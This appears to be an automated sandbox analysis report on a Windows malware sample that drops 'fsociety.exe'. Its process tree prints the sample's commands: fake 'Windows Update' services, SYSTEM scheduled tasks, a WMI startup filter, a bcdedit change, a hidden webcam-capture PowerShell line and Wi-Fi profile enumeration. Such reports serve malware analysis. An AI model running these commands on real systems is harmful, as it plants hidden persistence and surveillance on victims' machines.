Token: SeSystemtimePrivilege	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Token: SeSystemtimePrivilege	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Token: SeSystemtimePrivilege	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Token: SeIncreaseQuotaPrivilege	5400	WMIC.exe
Token: SeSecurityPrivilege	5400	WMIC.exe
Token: SeTakeOwnershipPrivilege	5400	WMIC.exe
Token: SeLoadDriverPrivilege	5400	WMIC.exe
Token: SeSystemProfilePrivilege	5400	WMIC.exe
Token: SeSystemtimePrivilege	5400	WMIC.exe
Token: SeProfSingleProcessPrivilege	5400	WMIC.exe
Token: SeIncBasePriorityPrivilege	5400	WMIC.exe
Token: SeCreatePagefilePrivilege	5400	WMIC.exe
Token: SeBackupPrivilege	5400	WMIC.exe
Token: SeRestorePrivilege	5400	WMIC.exe
Token: SeShutdownPrivilege	5400	WMIC.exe
Token: SeDebugPrivilege	5400	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5400	WMIC.exe
Token: SeRemoteShutdownPrivilege	5400	WMIC.exe
Token: SeUndockPrivilege	5400	WMIC.exe
Token: SeManageVolumePrivilege	5400	WMIC.exe
Token: 33	5400	WMIC.exe
Token: 34	5400	WMIC.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
1224	fsociety.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2512 wrote to memory of 4364	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	89
PID 4364 wrote to memory of 4440	4364	cmd.exe	91
PID 2512 wrote to memory of 3472	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	92
PID 3472 wrote to memory of 1268	3472	cmd.exe	94
PID 2512 wrote to memory of 5088	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	95
PID 5088 wrote to memory of 1140	5088	cmd.exe	97
PID 2512 wrote to memory of 4244	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	98
PID 4244 wrote to memory of 1472	4244	cmd.exe	100
PID 2512 wrote to memory of 5828	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	101
PID 5828 wrote to memory of 4656	5828	cmd.exe	325
PID 2512 wrote to memory of 5272	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	106
PID 5272 wrote to memory of 4384	5272	cmd.exe	407
PID 2512 wrote to memory of 2616	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	109
PID 2616 wrote to memory of 5444	2616	cmd.exe	111
PID 1224 wrote to memory of 2024	1224	fsociety.exe	114
PID 4632 wrote to memory of 3920	4632	fsociety.exe	115
PID 2512 wrote to memory of 5824	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	118
PID 2024 wrote to memory of 1340	2024	cmd.exe	406
PID 1224 wrote to memory of 5412	1224	fsociety.exe	121
PID 5824 wrote to memory of 2884	5824	cmd.exe	474
PID 2512 wrote to memory of 252	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	124
PID 5412 wrote to memory of 4156	5412	cmd.exe	126
PID 1224 wrote to memory of 3496	1224	fsociety.exe	127
PID 252 wrote to memory of 5764	252	cmd.exe	334
PID 2512 wrote to memory of 3960	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	130
PID 3496 wrote to memory of 2144	3496	cmd.exe	132
PID 1224 wrote to memory of 3768	1224	fsociety.exe	133
PID 3960 wrote to memory of 1416	3960	cmd.exe	135
PID 2512 wrote to memory of 2136	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	136
PID 3768 wrote to memory of 1928	3768	cmd.exe	248
PID 1224 wrote to memory of 3980	1224	fsociety.exe	139
PID 2136 wrote to memory of 1248	2136	cmd.exe	141
PID 2512 wrote to memory of 3020	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	142
PID 3980 wrote to memory of 3440	3980	cmd.exe	144
PID 1224 wrote to memory of 2804	1224	fsociety.exe	145
PID 3020 wrote to memory of 2412	3020	cmd.exe	256
PID 2512 wrote to memory of 4820	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	148
PID 2804 wrote to memory of 4624	2804	cmd.exe	593
PID 1224 wrote to memory of 5492	1224	fsociety.exe	151
PID 4820 wrote to memory of 1596	4820	cmd.exe	355
PID 2512 wrote to memory of 5872	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	154
PID 5492 wrote to memory of 1692	5492	cmd.exe	476
PID 1224 wrote to memory of 4436	1224	fsociety.exe	157
PID 5872 wrote to memory of 3756	5872	cmd.exe	159
PID 2512 wrote to memory of 1060	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	160
PID 4436 wrote to memory of 3540	4436	cmd.exe	271
PID 1224 wrote to memory of 3312	1224	fsociety.exe	163
PID 1060 wrote to memory of 5888	1060	cmd.exe	362
PID 2512 wrote to memory of 5820	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	166
PID 3312 wrote to memory of 1272	3312	cmd.exe	167
PID 5820 wrote to memory of 1800	5820	cmd.exe	169
PID 1224 wrote to memory of 1500	1224	fsociety.exe	170
PID 2512 wrote to memory of 5172	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	172
PID 1500 wrote to memory of 5348	1500	cmd.exe	281
PID 1224 wrote to memory of 1656	1224	fsociety.exe	175
PID 5172 wrote to memory of 800	5172	cmd.exe	366
PID 2512 wrote to memory of 2152	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	178
PID 1656 wrote to memory of 456	1656	cmd.exe	530
PID 2152 wrote to memory of 1504	2152	cmd.exe	290
PID 1224 wrote to memory of 1536	1224	fsociety.exe	182
PID 2512 wrote to memory of 2676	2512	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	184
PID 1536 wrote to memory of 1624	1536	cmd.exe	187
PID 2676 wrote to memory of 5052	2676	cmd.exe	538
PID 3920 wrote to memory of 5756	3920	cmd.exe	186

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
"C:\Users\Admin\AppData\Local\Temp\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe"
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Uses Session Manager for persistence
- Creates a file in the Startup directory
- Adds Run key to start application
- Modifies WinLogon
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    PID:4440
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3472
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    PID:1268
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    PID:1140
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4244
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    PID:1472
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5828
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    PID:4656
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5272
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    PID:4384
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    PID:5444
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5824
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    PID:2884
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:252
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    PID:5764
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:1416
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\system32\sc.exe
    sc stop SystemUpdate
    3⤵
    PID:1248
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    PID:2412
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    PID:1596
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5872
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:3756
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1060
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    PID:5888
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5820
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    - Launches sc.exe
    PID:1800
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5172
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
    3⤵
    PID:800
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    PID:1504
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    PID:5052
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  PID:2868
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    PID:3632
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  PID:1312
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    PID:5388
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  PID:1132
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    PID:4124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:1748
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:2436
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:4504
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:1428
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:2412
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1708
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:5628
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:4116
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  PID:4768
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:5996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:5424
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  PID:4964
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1428
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Event Triggered Execution: Image File Execution Options Injection
  - Executes dropped EXE
  - Modifies WinLogon
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:1932
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:256
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:3596
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:4492
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:1968
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:4016
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:264
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:700
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:1408
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:3024
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:2200
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:2632
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:4796
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:3156
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:5880
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:1400
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:1788
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:3328
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:2476
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:1256
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4164
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:2148
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:1048
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:6164
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:6400
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:6684
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6924
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:7096
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:5884
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:6240
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:7008
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:6232
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:7048
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:4144
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:6332
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:6996
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:6176
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:5732
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6628
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:704
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:6956
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:6848
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:6336
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:6488
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:6880
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:7380
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:7824
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:6832
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:7680
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7764
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:7596
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:4596
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:7544
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:524
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:7692
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:5572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:7432
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
      4⤵
      PID:7708
- - C:\Windows\system32\cmd.exe
    cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
    3⤵
    PID:7300
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy legacy
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5500
- - C:\Windows\system32\fsociety.exe
    "C:\Windows\system32\fsociety.exe"
    3⤵
    PID:8264
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc stop WindowsUpdate >nul 2>&1
      4⤵
      PID:8364
    - - C:\Windows\system32\sc.exe
        
        sc stop WindowsUpdate
        5⤵
        
        PID:8748
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc delete WindowsUpdate >nul 2>&1
      4⤵
      PID:9120
    - - C:\Windows\system32\sc.exe
        
        sc delete WindowsUpdate
        5⤵
        
        PID:8668
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
      4⤵
      PID:9092
    - - C:\Windows\system32\sc.exe
        
        sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
        5⤵
        
        PID:8808
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
      4⤵
      PID:8296
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate start= boot
        5⤵
        
        PID:6576
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240789890.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240789890.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    PID:9052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240789890.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240789890.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:6168
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      PID:4728
- C:\Windows\SYSTEM32\cmd.exe
